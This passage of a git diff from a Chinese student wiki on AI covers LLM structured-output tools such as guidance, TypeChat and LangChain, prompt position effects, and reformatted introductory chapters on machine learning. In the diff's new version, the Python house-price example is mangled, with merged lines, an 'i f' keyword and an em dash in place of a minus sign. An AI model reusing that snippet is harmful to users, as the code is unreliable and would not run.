的输出结构,以确保输出格式的正确性。 + +```markdown +# load a model locally (we use LLaMA here) +guidance.llm = guidance.llms.Transformers("your_local_path/llama-7b", device=0) + +# we can pre-define valid option sets +valid_weapons = ["sword", "axe", "mace", "spear", "bow", "crossbow"] + +# define the prompt +program = guidance("""The following is a character profile for an RPG game in JSON format. +json +{ + "description": "{{description}}", + "name": "{{gen 'name'}}", + "age": {{gen 'age' pattern='[0-9]+' stop=','}}, + "armor": "{{#select 'armor'}}leather{{or}}chainmail{{or}}plate{{/select}}", + "weapon": "{{select 'weapon' options=valid_weapons}}", + "class": "{{gen 'class'}}", + "mantra": "{{gen 'mantra'}}", + "strength": {{gen 'strength' pattern='[0-9]+' stop=','}}, + "items": [{{#geneach 'items' num_iterations=3}} + "{{gen 'this'}}",{{/geneach}} + ] +}""") + +# execute the prompt +program(description="A quick and nimble fighter.", valid_weapons=valid_weapons) +``` + +在之前传统的做法中,这一整个 json 都需要由 LLM 来生成。但是 json 的结构是我们预先定义的,例如有哪些字段,开闭的花括号等,其实都不需要 LLM 来生成。 +优点: + +1. 生成的 json 结构是保证合法且可控的,不会出现语法错误或者缺失/错误字段等。 +2. 通过 LLM 生成的 token 数量减少了,理论上可以提升生成速度。 + +除了 prompt 模板,它还提供了: + +- 支持 hidden block,例如 LLM 的一些推理过程可能并不需要暴露给最终用户,就可以灵活利用这个特性来生成一些中间结果。 +- Generation caching,自动把已经生成过的结果缓存起来,提升速度。 +- 支持 HuggingFace 模型的 guidance acceleration,进一步提升生成速度。 +- Token healing,不看这个我还不知道 LLM 有这种问题…… +- Regex pattern guide,在模板的基础上进一步通过正则表达来限定生成的内容规范。 + +从项目代码来看,还是有比较浓的“research 味道”的,可读性并不好。实际测试结果也比较翻车。 + +### lmql + +在 guidance 的基础上,lmql 这个项目进一步把“prompt 模板”这个概念推进到了一种新的编程语言。从官网能看到给出的一系列示例。语法结构看起来有点像 SQL,但函数与缩进都是 Python 的风格。 +![](https://marlene-1254110372.cos.ap-shanghai.myqcloud.com/blog/%7B92E71406-7249-4345-894C-AC646F47D05A%7D.png) +从支持的功能来看,相比 guidance 毫不逊色。例如各种限制条件,代码调用,各种 caching 加速,工具集成等基本都具备。这个框架的格式化输出是其次,其各种可控的输出及语言本身或许更值得关注。 + +### TypeChat + +TypeChat 将 prompt 工程替换为 schema 工程:无需编写非结构化的自然语言 prompt 来描述所需输出的格式,而是编写 TS 类型定义。TypeChat 可以帮助 LLM 以 JSON 的形式响应,并且响应结果非常合理:例如用户要求将这句话「我可以要一份蓝莓松饼和一杯特级拿铁咖啡吗?」转化成 JSON 格式,TypeChat 响应结果如下: +![](https://marlene-1254110372.cos.ap-shanghai.myqcloud.com/blog/%7BECFBBC78-BFE8-45d0-99EF-5E13E30E2A18%7D.png) +其本质原理是把 interface 之类的 ts 代码作为 prompt 模板。因此它不仅可以对输出结果进行 ts 校验,甚至能够输入注释描述,不可谓非常方便 js 开发者。不过,近日 typechat 爆火,很多开发者企图尝试将 typechat 移植到 python,笔者认为这是缘木求鱼,因为其校验本身依赖的是 ts。笔者在开发过程中,将 typechat 融合到自己的库中,效果不错。但是它本身自带的 prompt 和笔者输入的 prompt 还是存在冲突,还是需要扣扣源码。 + +### Langchain + +如果你关注了过去几个月中人工智能的爆炸式发展,那你大概率听说过 LangChain。简单来说,LangChain 是一个 Python 和 JavaScript 库,由 Harrison Chase 开发,用于连接 OpenAI 的 GPT API(后续已扩展到更多模型)以生成人工智能文本。 + +langchain 具有特别多的结构化输出工具。例如使用 yaml 定义 Schema,输出结构化 JSON。使用 zodSchema 定义 Schema,输出结构化 JSON。使用 FunctionParameters 定义 Schema,输出结构化 JSON。 + +但是笔者这里不打算介绍 langchain。究其原因,是笔者被 langchain 折磨不堪。明明可以几行代码写清楚的东西,langchain 可以各种封装,花了好几十行才写出来。更何况,笔者是用 ts 开发,开发时甚至偷不了任何懒,甚至其文档丝毫不友好。这几天,《机器之心》发布文章表示放弃 langchain。要想让 LangChain 做笔者想让它做的事,就必须花大力气破解它,这将造成大量的技术负担。因为使用人工智能本身就需要花费足够的脑力。LangChain 是为数不多的在大多数常用情况下都会增加开销的软件之一。所以笔者建议非必要,不使用 langchain。 + +## LLM 对于结构化信息的理解 + +LLM 的可控性、稳定性、事实性、安全性等问题是推进企业级应用中非常关键的问题,上面分享的这些项目都是在这方面做了很多探索,也有很多值得借鉴的地方。总体思路上来说,主要是: + +- 提供一套 prompt 模板定义,允许用户指定 LLM 生成的格式或内容主题。 +- 在模板基础上,也有不少项目进一步设计了相应的编程语言,让 LLM 与确定性程序的交互更加直观。 +- 提供各类 validator,保证生成内容符合预期,并且提供了自动处理/修正机制。 +- 更进一步,也可以在生成前进行干预,例如在 prompt 中给近似案例,修改模型 decode 时的概率分布等。 +- 其它在可控性基础上做的各种性能与开销的优化,例如缓存,减少 token 消耗量,对开源模型能力的挖掘等。 + +即使我们不直接使用上述的项目做开发,也可以从中学习到很多有用的思路。当然也非常期待这个领域出现更多有意思的想法与研究,以及 prompt 与编程语言结合能否碰撞出更多的火花。 + +同时笔者认为自动处理机制、自己设计的编程语言等等内容,随着时间发展,一定会层出不穷,不断迭代更新。笔者抛去这些时效性较弱的内容,从描述信息和位置信息两方面思考 peompt 模板该如何设计,当然只是浅浅的抛砖引玉一下。 + +### 描述信息 + +到底哪种方式更容易于 LLM 去理解?我们不谈框架的设计,只考虑 prompt 的设计。上述框架关于这方面有一些参考,例如有些直接拿 json 作为 prompt 模板,有些拿 xml 作为 prompt 模板,有些拿自己设计的语言作为 prompt,有些拿自然语言作为 prompt 模板。时至今日,选用哪种最适合 LLM 去理解格式化的信息,输出格式化的内容完全没有盖棺定论。甚至时至今日,格式化输出问题还是没有得到可靠稳定的解决,要不然笔者肯定不会介绍这么多框架实践了。 + +笔者认为不管哪种方式,都可以从两个方面考量:更简单,更结构。如果想要在开发的时候更简单,或者在使用时更简单,选择 md、yaml 方式描述结构化信息更合适。如果想要更结构化的方式,选择 json、xml、ts,输出都能更有结构,甚至之后做结构校验都更方便。 + +想要 LLM 结构化输出更加稳定和理想,笔者认为选择 prompt 模板时必须考虑每个字段是否有足够的辅助信息。例如 xml 描述时,每个标签都有一个描述属性描述这个标签时什么意思。 + +#### 额外引申 + +笔者之前在开发 LLM 应用时,也曾思考类似的问题。笔者需要将多模态的数据进行结构化的标注,方便 LLM 去理解。但是标注成什么样却是一个很大的难题。笔者选择的是 JSON。但是,关于里面许多内容的标注。笔者在众多方案中徘徊。在细节处深挖,如何设计一种既简单,又能表示各种结构复杂关系,还能够节约 token 的方案及其的难。 +> 关于后续如何解决,请容笔者卖个关子 sai~ + +### 位置信息 + +是否有人注意到 llm 对于关键信息在 prompt 中的位置会对结果产生影响呢?在设计 prompt 方面,人们通常建议为语言模型提供详尽的任务描述和背景信息。近期的一些语言模型有能力输入较长的上下文,但它究竟能多好地利用更长的上下文?这一点却相对少有人知。近日,有学者研究发现如果上下文太长,语言模型会更关注其中的前后部分,中间部分却几乎被略过不看,导致模型难以找到放在输入上下文中部的相关信息。下文部分是该论文一些核心内容: +![](https://marlene-1254110372.cos.ap-shanghai.myqcloud.com/blog/%7B59E03114-A066-4394-B1F0-B09357F76B39%7D.png) +这是由其本身训练和结构设计有关的,但却对于我们开发有着莫大的帮助和指导意义。 +![](https://marlene-1254110372.cos.ap-shanghai.myqcloud.com/blog/%7B9EA47A4E-3EF3-4800-99F4-109EE713746B%7D.png) +相比之下,在多文档问答任务上,查询感知型上下文化的影响很小。特别指出,当相关信息位于输入上下文的最开始时,它可以提高性能,但在其他设置中会稍微降低性能。借此,我们可以认为,将重要的信息放在开头,结尾放置结构化模板,或许是一种优质选择。 + +那么如果真的为其提供这么多 token,那会真的有用吗?这个问题的答案是:由下游任务决定。因为这取决于所添加上下文的边际价值以及模型有效使用长输入上下文的能力。所以如果能有效地对检索文档排序(让相关信息与输入上下文的起始处更近)或对已排序的列表进行截断处理(必要时返回更少的文档),那么也许可以提升基于语言模型的阅读器使用检索上下文的能力。 + +## 题外话 + +之前,妙鸭相机突然爆火。其只需 9.9 即可生成同款数字分身,效果拔群。但是很多人发现,其生成的内容极其容易造成肖像权侵犯,这显然是有问题的。更有甚至的是,用户发现妙鸭相机的用户协议存在问题。根据该应用最初版本的用户服务协议,用户需授权妙鸭相机在全世界(包括元宇宙等虚拟空间)范围内享有永久的、不可撤销的、可转让的、可转授权的、免费的和非独家的许可,使得妙鸭相机可以任何形式、任何媒体或技术(无论现在已知或以后开发)使用用户的内容。对于上述内容,妙鸭相机称系“为了使我方能够提供、确保和改进本服务(包括但不限于使用 AI 生成内容作为再训练数据等)”。 + +一句话理解,就是你的肖像它随便用,与你无关。 + +这不禁让我联想到一部非常发人深省的剧作:《黑镜》。它的第六季第一集讲述的同样是隐私的问题。该集中,主人公的生活隐私由于同意了用户协议,被无时无刻搜集。然后当天晚上就发现流媒体电视上居然出现了跟她同名的电视剧,内容与它当天的生活一模一样,台词甚至更加夸张。于是她的不方便公之于众的生活变得一塌涂地,但她甚至没有办法打官司,因为肯定会输。更令人深省的是,电视剧的主人公是 AI 生成的视频,其肖像确是根据现实存在的明星生成的。那位明星也无法对她的肖像有任何权利。这样一个荒诞的故事,但是仔细想想,却又非常可能发生。 + +如今的社会出现了各种大模型。大模型的发展必定需要大数据的支撑。企业为了盈利必定会想方设法的搜集数据,然后肆意使用,转卖。而很多用户对此不自知,更有甚至是非常乐意。例如抖音、B 站,当你对其交互时,你希望它推荐更适合你的视频,它也在搜集你的数据,这是明知且主动的。 + +隐私的掠夺是无声的。你认为你的一下点击是没啥价值的隐私数据,殊不知这正中了资本家的下怀。几年前,我也是这样的。高中的大门出现了闸机,可以刷脸进校园。我当时以为这需要像手机解锁一样需要扫描人脸 ID。结果发现,我可以直接进去,闸机上甚至会出现我的照片。我仔细看了看,发现是我入学的证件照。原来一张照片就能刷脸进校园。原来就连学校也可以不经同学同意,将照片用作其他用途。那更何况其他的呢。 +我想,未来,这样的隐私问题会越来越多。 + +## 参考 + + + + + diff --git a/4.人工智能/4.12本章节内容的局限性.md b/4.人工智能/4.13本章节内容的局限性.md similarity index 94% rename from 4.人工智能/4.12本章节内容的局限性.md rename to 4.人工智能/4.13本章节内容的局限性.md index ada5f72..7bb70cd 100644 --- a/4.人工智能/4.12本章节内容的局限性.md +++ b/4.人工智能/4.13本章节内容的局限性.md @@ -12,7 +12,7 @@ 无数伟大的科学家究其一生的研究和探索它,但是你发现本章内容少有相关内容,还是以深度学习为主?为什么? -## 原因一:时代的浪潮 +## 原因一:时代的浪潮 近乎全民深度学习的浪潮下,机器学习的知识被科研界一而再再而三的抛掷脑后,大家争先恐后的刷点,并使用深度学习的解决问题,因此深度学习领域的知识材料得到了井喷式的增长,而少有人愿意投入非常长的时间去研究机器学习的每一条数学公式的背后机理。 @@ -34,7 +34,7 @@ ZZM 曾经尝试过投入大量时间去钻研数学以及机器学习相关的 如果你阅览了本章节的数学相关知识和内容以及拓展感觉非常感兴趣并且毫无压力的话,我推荐你尝试去啃一啃大家公认的困难的书籍,比如说著名的花书,互联网上,社区内也有大量的辅助材料来帮助你更进一步的入门 -# 科研导向明显 +## 科研导向明显 整篇教程大范围的在教怎么从科研角度去理解一些知识,感觉和工业上的逻有不符之处。 @@ -48,7 +48,7 @@ ZZM 曾经尝试过投入大量时间去钻研数学以及机器学习相关的 因此如果你对这方面感兴趣,可能你需要别的途径去获取更多的思考和资源了。 -# 繁杂的知识内容 +## 繁杂的知识内容 这点非常抱歉,AI 领域的知识本身就是网状的,复杂的,甚至是互相引用的,这点会导致不可避免的内容变得冗长。 @@ -56,8 +56,11 @@ ZZM 曾经尝试过投入大量时间去钻研数学以及机器学习相关的 而不是别人强行灌输给你的 -# 还有更多??? +## 还有更多??? 联系 ZZM,我努力改 +::: tip 邮箱 +1264517821@qq.com +::: -![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcnfYSoVgoERduiWP0jWNWMxf.jpg) + diff --git a/4.人工智能/4.1前言.md b/4.人工智能/4.1前言.md index fc05421..9164be9 100644 --- a/4.人工智能/4.1前言.md +++ b/4.人工智能/4.1前言.md @@ -1,65 +1,72 @@ -# 对AI大致方向的概述 +# 对 AI 大致方向的概述 +## 前言 -# 前言 +在这个时代,相关内容是非常泛滥的,我们在本章内容中,大致的写一些目前比较有名的方向以及它的简介(也许会比 wiki 和百度有趣一点?) -在这个时代,相关内容是非常泛滥的,我们在本章内容中,大致的写一些目前比较有名的方向以及它的简介(也许会比wiki和百度有趣一点?) - -# 深度学习 的大致方向分类 +## 深度学习 的大致方向分类 本模块会粗略地介绍目前审读学习的研究与应用领域,在这里提前说明:笔者也只是一名普通的杭电学生,视野与认知有限,某些领域我们了解较多就会介绍地更加详细,某些领域了解较少或笔者中无人从事相关研究,就难免会简略介绍甚至有所偏颇,欢迎大家的指正。 -## CV(计算机视觉) +### CV(计算机视觉) -计算机视觉旨在用计算机模拟人类处理图片信息的能力,就比如这里有一张图片——手写数字 9 +计算机视觉旨在**用计算机模拟人类处理图片信息的能力**,就比如这里有一张图片——手写数字 9 -![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcnvQiaAx6WgPx64s8fBklVwh.png) +![](https://cdn.xyxsw.site/boxcnvQiaAx6WgPx64s8fBklVwh.png) 对我们人类而言,能够很轻松地知道这张图片中包含的信息(数字 9),而对计算机来说这只是一堆像素。计算机视觉的任务就是让计算机能够从这堆像素中得到‘数字 9’这个信息。 相信你通过上面简单的介绍应该能够了解到计算机视觉是在干嘛了,接下来我会举几个相对复杂的例子来让大家了解一下目前的 cv 是在做怎样的研究: -图像分割是在图片中对物体分类,并且把它们所对应的位置标示出来。下图就是把人的五官,面部皮肤和头发分割出来,效(小)果(丑)图如下: +::: warning 🐱 **图像分割**是在图片中对物体分类,并且把它们所对应的位置标示出来。下图就是把人的五官,面部皮肤和头发分割出来,效 (小) 果 (丑) 图如下: +::: -![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcnxn5GlJZmsrMV5qKNwMlDPc.jpg) + + + + + + +
-![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcnokdWGegr2XCi1vfg0ZZiWg.png) +::: warning 🐱 **图像生成**相信大家一定不陌生,NovalAI 在 2022 年火的一塌糊涂,我觉得不需要我过多赘述,对它 (Diffusion model) 的改进工作也是层出不穷,这里就放一张由可控姿势网络 (ControlNet) 生成的图片吧: +::: -![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcn2o9ilOZg6jI6ssTYWhoeme.png) +![](https://cdn.xyxsw.site/boxcnUjnRociXua1yKj6dmU1A3c.png) -图像生成相信大家一定不陌生,NovalAI 在 2022 年火的一塌糊涂,我觉得不需要我过多赘述,对它(Diffusion model)的改进工作也是层出不穷,这里就放一张由可控姿势网络(ControlNet)生成的图片吧: +::: warning 🐱 **三维重建**也是很多研究者关注的方向,指的是传入对同一物体不同视角的照片,来生成 3D 建模的任务。这方面比图像处理更加前沿并且难度更大。具体见[4.6.5.4 神经辐射场 (NeRF)](4.6.5.4%E7%A5%9E%E7%BB%8F%E8%BE%90%E5%B0%84%E5%9C%BA(NeRF).md) 章节。 +::: -![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcnUjnRociXua1yKj6dmU1A3c.png) +如果对计算机视觉有兴趣,可以通过以下路线进行学习:深度学习快速入门—> 经典网络。本块内容的主要撰写者之一**SRT 社团**多数成员主要从事 CV 方向研究,欢迎与我们交流。 -三维重建也是很多研究者关注的方向,指的是传入对同一物体不同视角的照片,来生成 3D 建模的任务。这方面比图像处理更加前沿并且难度更大。具体见[4.6.5.4神经辐射场(NeRF)](4.6.5.4%E7%A5%9E%E7%BB%8F%E8%BE%90%E5%B0%84%E5%9C%BA(NeRF).md) 章节。 +### NLP(自然语言处理) -如果对计算机视觉有兴趣,可以通过以下路线进行学习:深度学习快速入门—> 经典网络。本块内容的主要撰写者之一SRT 社团多数成员主要从事 CV 方向研究,欢迎与我们交流。 +这就更好理解了,让计算机能够像人类一样,理解文本中的“真正含义”。在计算机眼中,文本就是单纯的字符串,NLP 的工作就是把字符转换为计算机可理解的数据。举个例子,ChatGPT(或者 New Bing) 都是 NLP 的成果。在过去,NLP 领域被细分为了多个小任务,比如文本情感分析、关键段落提取等。而 ChatGPT 的出现可以说是集几乎所有小任务于大成,接下来 NLP 方向的工作会向 ChatGPT 的方向靠近。 -## NLP(自然语言处理) + + + + + +
-这就更好理解了,让计算机能够像人类一样,理解文本中的“真正含义”。在计算机眼中,文本就是单纯的字符串,NLP 的工作就是把字符转换为计算机可理解的数据。举个例子,ChatGPT(或者 New Bing)都是 NLP 的成果。在过去,NLP 领域被细分为了多个小任务,比如文本情感分析、关键段落提取等。而 ChatGPT 的出现可以说是集几乎所有小任务于大成,接下来 NLP 方向的工作会向 ChatGPT 的方向靠近。 - -![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcnyh6pakAkcxCKq6pLylSdef.png) - -![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcnwWnoEDulgWdqGkY0WeYogc.png) - -## 多模态(跨越模态的处理) +### 多模态 (跨越模态的处理) 模态,可以简单理解为数据形式,比如图片是一种模态,文本是一种模态,声音是一种模态,等等…… 而多模态就是让计算机能够将不同模态的信息相对应,一种常用的方法就是让计算机把图片的内容和文本的内容理解为相同的语义(在这个领域一般用一个较长的向量来表示语义)。 -也就是说我传入一张狗子的照片经过模型得到的向量DOG 这个单词经过模型得到的向量相近。 +也就是说我**传入一张狗子的照片经过模型得到的向量**与**DOG 这个单词经过模型得到的向量**相近。 -具体的任务比如说图片问答,传入一张图片,问 AI 这张图片里面有几只猫猫,它们是什么颜色,它告诉我有一只猫猫,是橙色的: +具体的任务比如说**图片问答**,传入一张图片,问 AI 这张图片里面有几只猫猫,它们是什么颜色,它告诉我有一只猫猫,是橙色的: -![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcnrMvM1THshjXXOuh8WXi2zr.jpg) +![](https://cdn.xyxsw.site/boxcnrMvM1THshjXXOuh8WXi2zr.jpg) -## 对比学习 +### 对比学习 -因为传统 AI 训练一般都需要数据集标注,比如说图片分割数据集需要人工在数万张图片上抠出具体位置,才能进行训练,这样的人力成本是巨大的,而且难以得到更多数据。因此,对比学习应运而生,这是一种不需要进行标注或者只需要少量标注的训练方式,具体可见[4.6.8对比学习](4.6.8%E5%AF%B9%E6%AF%94%E5%AD%A6%E4%B9%A0.md) 。 +因为传统 AI 训练一般都需要数据集标注,比如说图片分割数据集需要人工在数万张图片上抠出具体位置,才能进行训练,这样的人力成本是巨大的,而且难以得到更多数据。因此,对比学习应运而生,这是一种不需要进行标注或者只需要少量标注的训练方式,具体可见[4.6.8 对比学习](4.6.8%E5%AF%B9%E6%AF%94%E5%AD%A6%E4%B9%A0.md) 。 -## 强化学习 +### 强化学习 强调模型如何依据环境(比如扫地机器人在学习家里的陈设,这时陈设就是环境)的变化而改进,以取得最大的收益(比如游戏得到最高分)。 @@ -67,25 +74,26 @@ 强化学习主要理论来源于心理学中的动物学习和最优控制的控制理论。说的通俗点,强化学习就是操控智能体与环境交互、去不断试错,在这个过程中进行学习。因此,强化学习被普遍地应用于游戏、资源优化分配、机器人等领域。强化学习本身已经是个老东西了,但是和深度学习结合之后焕发出了第二春——深度强化学习(DRL)。 -深度强化学习最初来源是2013年谷歌DeepMind团队发表的《Playing Atari with Deep Reinforcement Learning》一文,正式提出Deep Q-network(DQN)算法。在这篇论文中,DeepMind团队训练智能体Agent玩雅达利游戏,并取得了惊人的成绩。事实上,深度强化学习最为人熟知的成就是AlphaGO Zero,它没有使用任何人类棋谱进行训练,训练了三天的成就就已经超过了人类几千年的经验积累导致柯洁道心破碎。 +深度强化学习最初来源是 2013 年谷歌 DeepMind 团队发表的《Playing Atari with Deep Reinforcement Learning》一文,正式提出 Deep Q-network(DQN)算法。在这篇论文中,DeepMind 团队训练智能体 Agent 玩雅达利游戏,并取得了惊人的成绩。事实上,深度强化学习最为人熟知的成就是 AlphaGO Zero,它没有使用任何人类棋谱进行训练,训练了三天的成就就已经超过了人类几千年的经验积累导致柯洁道心破碎。 -# 交叉学科&经典机器学习算法 +## 交叉学科&经典机器学习算法 交叉学科巨大的难度在于你往往需要掌握多个学科以及其相对应的知识。 举个例子:如果你想要做出一个可以识别病人是否得了某种疾病,现在你得到了一批数据,你首先得自己可以标注出或者找到这个数据中,哪些是有问题的,并且可以指明问题在哪,如果你想分出更具体的,比如具体哪里有问题,那你可能甚至需要熟悉他并且把他标注出来。 -目前其实全学科都有向着AI走的趋势,例如量化金融,医疗,生物科学(nature的那篇有关氨基酸的重大发现真的很cool)。他们很多都在用非常传统的机器学习算法,甚至有的大公司的算法岗在处理某些数据的时候,可能会先考虑用最简单的决策树试一试 +目前其实全学科都有向着 AI 走的趋势,例如量化金融,医疗,生物科学 (nature 的那篇有关氨基酸的重大发现真的很 cool)。他们很多都在用非常传统的机器学习算法,甚至有的大公司的算法岗在处理某些数据的时候,可能会先考虑用最简单的决策树试一试 -当然,在大语言模型出现的趋势下,很多学科的应用会被融合会被简化会被大一统(科研人的崇高理想),但是不得不提的是,传统的机器学习算法和模型仍然希望你能去了解甚至更进一步学习。 +当然,在大语言模型出现的趋势下,很多学科的应用会被融合会被简化会被大一统 (科研人的崇高理想),但是不得不提的是,传统的机器学习算法和模型仍然希望你能去了解甚至更进一步学习。 除了能让你了解所谓前人的智慧,还可以给你带来更进一步的在数学思维,算法思维上的提高。 -# And more? +## And more? -我们对AI的定义如果仅仅只有这些内容,我认为还是太过于狭隘了,我们可以把知识规划,知识表征等等东西都可以将他划入AI的定义中去,当然这些还期待着你的进一步探索和思考~ +我们对 AI 的定义如果仅仅只有这些内容,我认为还是太过于狭隘了,我们可以把知识规划,知识表征等等东西都可以将他划入 AI 的定义中去,当然这些还期待着你的进一步探索和思考~ +## 特别致谢 -# 特别致谢 +非常荣幸能在本章中得到 IIPL 智能信息处理实验室 [http://iipl.net.cn](http://iipl.net.cn) 的宝贵贡献,衷心感谢他们的无私支持与帮助! -非常荣幸能在本章中得到 IIPL智能信息处理实验室 http://iipl.net.cn 的宝贵贡献,衷心感谢他们的无私支持与帮助! +希望加入 IIPL?欢迎移步[SRT 社团介绍](SRT.md)~ diff --git a/4.人工智能/4.2机器学习(AI)快速入门(quick start).md b/4.人工智能/4.2机器学习(AI)快速入门(quick start).md index 77eb764..02ea69c 100644 --- a/4.人工智能/4.2机器学习(AI)快速入门(quick start).md +++ b/4.人工智能/4.2机器学习(AI)快速入门(quick start).md @@ -1,6 +1,6 @@ # 机器学习(AI)快速入门(quick start) -本章内容需要你掌握一定的 python 基础知识。 +::: warning 😇 本章内容需要你掌握一定的 python 基础知识。 如果你想要快速了解机器学习,并且动手尝试去实践他,你可以先阅览本部分内容。 @@ -11,8 +11,9 @@ 当然我需要承认一点,为了让大家都可以看懂,我做了很多抽象,具有了很多例子,某些内容不太准确,这是必然的,最为准确的往往是课本上精确到少一个字都不行的概念,这是难以理解的。 本篇内容只适合新手理解使用,所以不免会损失一些精度。 +::: -# 什么是机器学习 +## 什么是机器学习 这个概念其实不需要那么多杂七杂八的概念去解释。 @@ -22,17 +23,17 @@ 然后你给了他更多信息,比如说国家给出了某些条例,他分析这个条例一出,房价就会降低,他给你了个新的数据。 -因此我们得出一个结论:机器学习 = 泛型算法。 +因此我们得出一个结论:机器学习 = 泛型算法。 甚至深度学习,也只是机器学习的一部分,不过使用了更多技巧和方法,增大了计算能力罢了。 -![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcnbtaUStj8coQiNTmZzfWqNl.png) +![](https://cdn.xyxsw.site/boxcnbtaUStj8coQiNTmZzfWqNl.png) -# 两种机器学习算法 +## 两种机器学习算法 你可以把机器学习算法分为两大类:监督式学习(supervised Learning)和非监督式学习(unsupervised Learning)。要区分两者很简单,但也非常重要。 -## 监督式学习 +### 监督式学习 你是卖方的,你公司很大,因此你雇了一批新员工来帮忙。 @@ -42,15 +43,15 @@ 近三个月来,每当你的城市里有人卖了房子,你都记录了下面的细节——卧室数量、房屋大小、地段等等。但最重要的是,你写下了最终的成交价: -![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcnL1MNHqAyDjcxIzjFTOdYtt.png) +![](https://cdn.xyxsw.site/boxcnL1MNHqAyDjcxIzjFTOdYtt.png) 然后你让新人根据着你的成交价来估计新的数量 -![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcnwcDWIDvLnuvZ1uOb75QKPh.png) +![](https://cdn.xyxsw.site/boxcnwcDWIDvLnuvZ1uOb75QKPh.png) 这就是监督学习,你有一个参照物可以帮你决策。 -## 无监督学习 +### 无监督学习 没有答案怎么办? @@ -66,7 +67,7 @@ 这其实就是一种经典的聚类算法 -![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcnSn17EC3YvEnA6GScKNAF3e.png) +![](https://cdn.xyxsw.site/boxcnSn17EC3YvEnA6GScKNAF3e.png) 可以把特征不一样的数据分开,有非常多的操作,你感兴趣可以选择性的去了解一下。 @@ -78,29 +79,27 @@ 但是「机器在少量样本数据的基础上找出一个公式来解决特定的问题」不是个好名字。所以最后我们用「机器学习」取而代之。而深度学习,则是机器在数据的基础上通过很深的网络(很多的公式)找一个及解决方案来解决问题。 -# 看看 Code +## 看看 Code 如果你完全不懂机器学习知识,你可能会用一堆 if else 条件判断语句来判断比如说房价 ```python def estimate_house_sales_price(num_of_bedrooms, sqft, neighborhood): - price = 0 # In my area, the average house costs $200 per sqft - price_per_sqft = 200 - if neighborhood == "hipsterton": + price = 0 # In my area, the average house costs $200 per sqft + price_per_sqft = 200 i f neighborhood == "hipsterton": # but some areas cost a bit more - price_per_sqft = 400 - elif neighborhood == "skid row": + price_per_sqft = 400 elif neighborhood == "skid row": # and some areas cost less - price_per_sqft = 100 # start with a base price estimate based on how big the place is - price = price_per_sqft * sqft # now adjust our estimate based on the number of bedrooms - if num_of_bedrooms == 0: - # Studio apartments are cheap - price = price - 20000 - else: + price_per_sqft = 100 # start with a base price estimate based on how big the place is + price = price_per_sqft * sqft # now adjust our estimate based on the number of bedrooms + if num_of_bedrooms == 0: + # Studio apartments are cheap + price = price — 20000 + else: # places with more bedrooms are usually # more valuable - price = price + (num_of_bedrooms * 1000) - return price + price = price + (num_of_bedrooms * 1000) + return price ``` 假如你像这样瞎忙几个小时,最后也许会得到一些像模像样的东西。但是永远感觉差点东西。 @@ -119,7 +118,7 @@ def estimate_house_sales_price(num_of_bedrooms, sqft, neighborhood): 如果你可以找到这么一个公式: -Y(房价)=W(参数)*X1(卧室数量)+W*X2(面积)+W*X3(地段) +Y(房价)=W(参数) \* X1(卧室数量) + W \*X2(面积) + W \* X3(地段) 你是不是会舒服很多,可以把他想象成,你要做菜,然后那些参数就是佐料的配比 @@ -139,7 +138,7 @@ def estimate_house_sales_price(num_of_bedrooms, sqft, neighborhood): 第二步把每个数值都带入进行运算。 -![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcniDICYiLh7ddcxEVrHxFODe.png) +![](https://cdn.xyxsw.site/boxcniDICYiLh7ddcxEVrHxFODe.png) 比如说,如果第一套房产实际成交价为 25 万美元,你的函数估价为 17.8 万美元,这一套房产你就差了 7.2 万。 @@ -151,7 +150,7 @@ def estimate_house_sales_price(num_of_bedrooms, sqft, neighborhood): 第三步: -通过尝试所有可能的权重值组合,不断重复第二步。哪一个权重组合的代价最接近于 0,你就使用哪个。当你找到了合适的权重值,你就解决了问题! +通过尝试所有可能的权重值组合,不断重复第二步。哪一个权重组合的代价最接近于 0,你就使用哪个。当你找到了合适的权重值,你就解决了问题! 兴奋的时刻到了! @@ -168,21 +167,21 @@ def estimate_house_sales_price(num_of_bedrooms, sqft, neighborhood): 为了避免这种情况,数学家们找到了很多种[聪明的办法](https://link.zhihu.com/?target=http%3A//en.wikipedia.org/wiki/Gradient_descent)来快速找到优秀的权重值。下面是一种: -![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcnXkjzipUjgJpFYXaEhbEN8e.png) +![](https://cdn.xyxsw.site/boxcnXkjzipUjgJpFYXaEhbEN8e.png) 这就是被称为 loss 函数的东西。 这是个专业属于,你可以选择性忽略他,我们将它改写一下 -![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcnXbd7bqnqPwF8f1Up8rHq5e.png) +![](https://cdn.xyxsw.site/boxcnXbd7bqnqPwF8f1Up8rHq5e.png) -θ 表示当前的权重值。 J(θ) 表示「当前权重的代价」。 +*θ 表示当前的权重值。J(θ) 表示「当前权重的代价」。* 这个等式表示,在当前权重值下,我们估价程序的偏离程度。 如果我们为这个等式中所有卧室数和面积的可能权重值作图的话,我们会得到类似下图的图表: -![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcniBPPpszGhbOWGpvto38Alf.png) +![](https://cdn.xyxsw.site/boxcniBPPpszGhbOWGpvto38Alf.png) 因此,我们需要做的只是调整我们的权重,使得我们在图上朝着最低点「走下坡路」。如果我们不断微调权重,一直向最低点移动,那么我们最终不用尝试太多权重就可以到达那里。 @@ -194,7 +193,7 @@ def estimate_house_sales_price(num_of_bedrooms, sqft, neighborhood): 